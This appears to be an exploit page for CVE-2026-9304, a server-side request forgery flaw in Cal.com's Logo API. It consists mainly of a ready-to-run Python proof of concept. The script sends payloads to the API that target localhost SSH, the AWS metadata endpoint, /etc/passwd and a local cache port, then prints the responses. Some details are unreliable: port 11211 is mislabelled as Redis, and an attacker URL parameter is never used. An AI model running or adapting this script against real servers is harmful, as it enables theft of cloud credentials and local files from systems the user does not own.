CVE-2026-9304 Cal.com cal.diy Logo API服务器端请求伪造漏洞

import requests import sys def exploit_ssrf(target_url, attacker_controlled_url): """ PoC for CVE-2026-9304 - Cal.com SSRF in Logo API This demonstrates how an attacker can abuse the Logo API to perform SSRF attacks. """ # Target Logo API endpoint logo_api_url = f"{target_url}/api/logo" # Malicious URLs to test SSRF ssrf_payloads = [ "http://127.0.0.1:22", # SSH service detection "http://169.254.169.254/latest/meta-data/", # AWS metadata "file:///etc/passwd", # Local file read "dict://localhost:11211/stats", # Redis info leak ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; SSRF-PoC/1.0)" } for payload in ssrf_payloads: try: data = { "logoUrl": payload, "username": "attacker" } response = requests.post(logo_api_url, json=data, headers=headers, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"[!] Error with payload {payload}: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python exploit.py <target_url> <attacker_url>") print("Example: python exploit.py http://vulnerable-cal.com http://attacker.com") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)